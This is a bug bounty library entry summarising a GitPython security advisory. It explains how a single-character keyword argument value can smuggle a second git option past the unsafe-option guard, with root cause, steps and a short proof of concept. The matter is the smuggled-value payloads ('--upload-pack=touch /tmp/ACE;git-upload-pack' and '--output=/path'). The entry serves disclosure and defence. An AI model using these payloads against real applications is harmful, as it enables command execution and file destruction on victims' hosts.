# GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution

GitPython's unsafe-option guard checks only kwarg keys, so a single-char kwarg value like n="--upload-pack=cmd" smuggles a second argv token and executes arbitrary commands.

- Payout: Research
- Severity: high
- Program: GitPython
- Found by: manus-use
- Disclosed: 2026-07-24
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-r9mr-m37c-5fr3
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-r9mr-m37c-5fr3
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** GitPython library check_unsafe_options guard / git CLI argument construction
**Root cause:** `_option_candidates` derives candidate options only from kwarg KEYS, so a single-character key like `n` yields `-n` (not denylisted) and the guard passes. `transform_kwarg` with `split_single_char_options=True` then emits the value as a separate argv token, which git parses as a real option such as `--upload-pack`.
**Steps:**
1. Call a guarded method with a single-char kwarg whose value is an option: `Repo.clone_from(bare_repo, out_dir, n="--upload-pack=touch /tmp/ACE;git-upload-pack")`.
2. Guard computes `_option_candidates([], {"n":"--upload-pack=..."})` -> `['-n']`, not on denylist, so `check_unsafe_options` passes.
3. `transform_kwarg('n', value, split_single_char_options=True)` emits `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`.
4. git runs `git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>`, parsing the second token and executing the command; `/tmp/ACE` is created.
5. File-write variant: `iter_commits('HEAD', g='--output=/path')` -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated.
**How found:** Reporter studied the guard's candidate construction and noticed `_option_candidates` only inspects kwarg keys, while `transform_kwarg` with `split_single_char_options=True` can emit the value as a separate token — a gap distinct from prior bypasses (underscore key, long-option abbreviation, joined short option, multi-before-split), all of which were verified blocked on HEAD.
**Exploitation:** An app that forwards a user-supplied options dict into a GitPython guarded method lets the attacker supply a single-character kwarg (e.g. `n`) whose value is `--upload-pack=<cmd>;git-upload-pack`. The guard passes on the key-only candidate, the transform splits the value into its own argv token, and git executes the command as the host process. Direct-name form `upload_pack=` is correctly blocked.
**Insight:** When a sanitizer validates reconstructed option names but the actual argv is built by a separate transform step, look for any transform that can split one input into multiple tokens (e.g. single-char option splitting) — validate the final argv, not the reconstructed candidate list.

## Proof of concept (copied exactly from the original report)

**clone_from kwarg value smuggling PoC**

```
from git import Repo
Repo.clone_from(bare_repo, out_dir, n="--upload-pack=touch /tmp/ACE;git-upload-pack")
# /tmp/ACE created -> ACE. Direct-name form upload_pack="..." is correctly BLOCKED.
```

**iter_commits --output file-write variant**

```
iter_commits('HEAD', g='--output=/path')` -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated.
```

